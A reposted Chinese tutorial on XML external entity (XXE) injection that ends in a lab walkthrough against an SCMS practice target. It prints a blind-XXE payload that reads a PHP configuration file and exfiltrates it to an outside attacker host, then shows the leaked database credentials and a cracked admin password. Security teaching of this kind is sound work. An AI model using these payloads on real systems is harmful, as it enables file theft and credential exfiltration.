XXE实体注入(超详细!)

XXE实体注入(超详细!)可以把它理解为txt,就是存储文件的,读取并调用出来,这是最核心的将你的代码当成XXE代码,然后XXE再交给PHP去执行将1.txt的东西,放入test这个变量实体就是变量&test就是输出这个变量<scan></scan>只是一个声明格式,随便写什么,就算写成<abc></abc>都可以,只要满足<x></x>格式就行最主要的是访问的地址,file,http等协议都可以。XXE:XML外部实体注入,原理:.

大家好,又见面了,我是你们的朋友全栈君。

在这里插入图片描述

可以把它理解为txt,就是存储文件的,

读取并调用出来,这是最核心的

在这里插入图片描述
在这里插入图片描述

将你的代码当成XXE代码,然后XXE再交给PHP去执行

将1.txt的东西,放入test这个变量
实体就是变量
&test就是输出这个变量
<scan></scan>只是一个声明格式,随便写什么,就算写成<abc></abc>都可以,只要满足<x></x>格式就行

最主要的是访问的地址,file,http等协议都可以。

XXE:XML外部实体注入,原理:有了XML实体,关键字SYSTEM会令XML解析器从URL中读取内容,并允许它在XML文档中被替换。XML是被设计用来存储以及传输信息,本身不会做任何事情。真正读取的是PHP有一个处理XML的函数:simplexml_load_string()。
程序分析:SYSTEM关键字通过file协议读取c:/1.txt里面的内容赋值给test实体,&test引用实体赋值给了$test变量,这里所做的是构造xml代码,将xml代码传参给了simplexml_load_string()函数执行,真正的读取是在这个函数执行的,最后print_r输出。
没有simplexml_load_string()函数,是读取不出来的
在这里插入图片描述
在这里插入图片描述

有的时候,XXE并不是都会给显示出来,就像sql里的盲注,不会给你直接显示出来。

在这里插入图片描述

演示

前面这个file_put_contents是php的一个写入函数,
只要我们去访问x.php并向id里传参东西,那么传参的东西就会被记录到147.txt里面。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
同理,我们把这个代码翻入XEE里面也是同样的效果,但是看起来要简单一点。
结合前面x.php里面的写入代码和x.php的传参+现在的XEE文件,我们就可以很简单的实现注入!

在这里插入图片描述
在这里插入图片描述
这里之所以有3个147,是我访问了3次。

在这里插入图片描述
简单来说就是只要有人访问了这个PHP文件,那么传参的数据就会被记录下来
在这里插入图片描述

XXE和ssrf很像,XXE需要依托于xml文件,而ssrf不需要依托xml文件。

1.xml会去自动访问2.php,然后自动记录到3.txt
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
数据传入xml
在这里插入图片描述
POST传参,然后输出
在这里插入图片描述

靶场练习

1.xml会去自动访问2.php,然后自动记录到3.txt
在这里插入图片描述
程序分析:SYSTEM关键字令XML解析器读取了C:/phpStudy/scms/conn/conn.php里面的内容并进行base64编码赋值给了实体file,同时去访问了炮台上的1.xml,在1.xml会将实体file里面的值当成$_GET获得的id传参,去访问了2.php,在2.php里面将id传参的值记录下来,写进了3.txt文档里。

靶场演示:靶场是一个闪灵cms,里面有个weixin/index.php文件

在这里插入图片描述

http://59.63.200.79:8207/weixin/

?signature=fdasfas

在这里插入图片描述

查找simplexml_load_string()函数
程序分析:$postArr = file_get_contents(“php://input”); 将获取post的传参,赋值给变量
p o s t A r r , 再 传 参 给 s i m p l e x m l l o a d s t r i n g ( ) 函 数 , 往 上 看 , 发 现 要 执 行 s i m p l e x m l l o a d s t r i n g ( ) 函 数 , 是 有 条 件 的 , postArr,再传参给simplexml_load_string()函数,往上看,发现要执行simplexml_load_string()函数,是有条件的, postArr,simplexmlloadstring()simplexmlloadstring()signature != “” 变量值不为空;且$signature = R E Q U E S T [ “ s i g n a t u r e ” ] ; 这 个 变 量 值 来 自 于 _REQUEST[“signature”]; 这个变量值来自于 REQUEST[signature];_REQUEST获得的参数。
攻击思路:将我们构造好的xml代码,通过post传参,传递给变量$postArr
攻击代码,读取conn.php里数据库配置文件:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

在这里插入图片描述

访问炮台上的http://59.63.200.79:8017/3.txt,获得数据,

PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOyAKaGVhZGVyKCJjb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgiKTsKc2Vzc2lvbl9zdGFydCgpOwokY29ubiA9IG15c3FsaV9jb25uZWN0KCIxOTIuMTY4LjAuMTAiLCJ4eGUiLCAidGVpd28hOCM3RVJlMURQQyIsICJzY21zIik7Cm15c3FsaV9xdWVyeSgkY29ubiwnc2V0IG5hbWVzIHV0ZjgnKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiUFJDIik7CmlmICghJGNvbm4pIHsKICAgIGRpZSgi5pWw5o2u5bqT6L e5o6l5aSx6LSlOiAiIC4gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKSk7Cn0KJGZ1bmN0aW9uZmlsZT1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkuIi9kYXRhL2Z1bmN0aW9uLmJhcyI7CiRkYXRhZmlsZT0iZGF0YS9kYXRhLmJhcyI7CiRhamF4ZmlsZT0iZGF0YS9hamF4LmJhcyI7CiRhcGlmaWxlPSJkYXRhL2FwaS5iYXMiOwo/Pg==
在这里插入图片描述
进行base64解码,获得数据库的账号,密码,库名
$conn = mysqli_connect(“192.168.0.10”,“xxe”, “teiwo!8#7ERe1DPC”, “scms”);
在这里插入图片描述
访问http://59.63.200.79:8207/adminer.php ,输入账号,密码,库名进行登录,登录成功
在这里插入图片描述

然后得到密码

在这里插入图片描述
将账号admin的 密码MD5解密得admintestv1

在这里插入图片描述

访问后台管理:http://59.63.200.79:8207/admin/#/app/index
提交flag: admintestv1
在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/142528.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(1)
blank

相关推荐

  • 驼峰命名法规则_RS命名法举例

    驼峰命名法规则_RS命名法举例三种流行的命名法则目前,业界共有四种命名法则:驼峰命名法、匈牙利命名法、帕斯卡命名法和下划线命名法,其中前三种是较为流行的命名法。驼峰命令法(Camel): 也称骆驼式命名法正如它的名称所表示的那样,是指混合使用大小写字母来构成变量和函数的名字例如,下面是分别用骆驼式命名法和下划线法命名的同一个函数:程序代码printEmployeePaychecks();print_em…

    2022年10月25日
  • ASP.net Session原理「建议收藏」

    ASP.net Session原理「建议收藏」1.创建SessionMgr类usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Web;//////SessionMgr的摘要说明///publicclassSessionMgr{privatestaticIDiction

  • springapplicationevent_Spring bean

    springapplicationevent_Spring bean相信使用过SpringBoot的开发人员,都对SpringBoot的核心模块中提供的SpringApplication类不陌生。SpringApplication类的run()方法往往在Spring应用的入口类中被调用,以启动Spring应用。1.Spring应用的入口类与SpringApplication类1)Spring应用的入口类Spring应用的入口类是Spring应用的配置起点,是配置Spring上下文的起点,往往使用了@SpringBootApplication或@EnableA

  • C/C++获取当前系统时间的方法

    C/C++获取当前系统时间的方法1、使用系统函数,并且可以修改系统时间#include&lt;stdlib.h&gt;usingnamespacestd;voidmain(){system("time");}备注:获取的为 小时:分钟:秒 信息2、获取系统时间(秒级),可以换算为年月日星期时分秒#include&lt;iostream&gt;#include&lt;time.h&gt;us…

    2022年10月19日
  • php递归算法-无限极分类

    php递归算法-无限极分类functiongetTree($data,$pId){$tree=”;foreach($dataas$k=&gt;$v){if($v[‘Id’]==$pId){$v[‘Id’]=getTree($data,$v[‘cate_Id’]);…

  • Web前端学习 | Ajax

    Web前端学习 | Ajaxajax其实是代替手工输入url向server申请资源的一个工具。XMLHttpRequest对象的onload回调函数是在异步请求加载完成后所执行的函数,当JavaScript监测到请求的数据全部传输完成后就会触发该函数。而open()函数设置异步请求的method、URL和同步方式等参数,执行open()后再执行send()函数才开始向服务器发送请求。<!DO…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号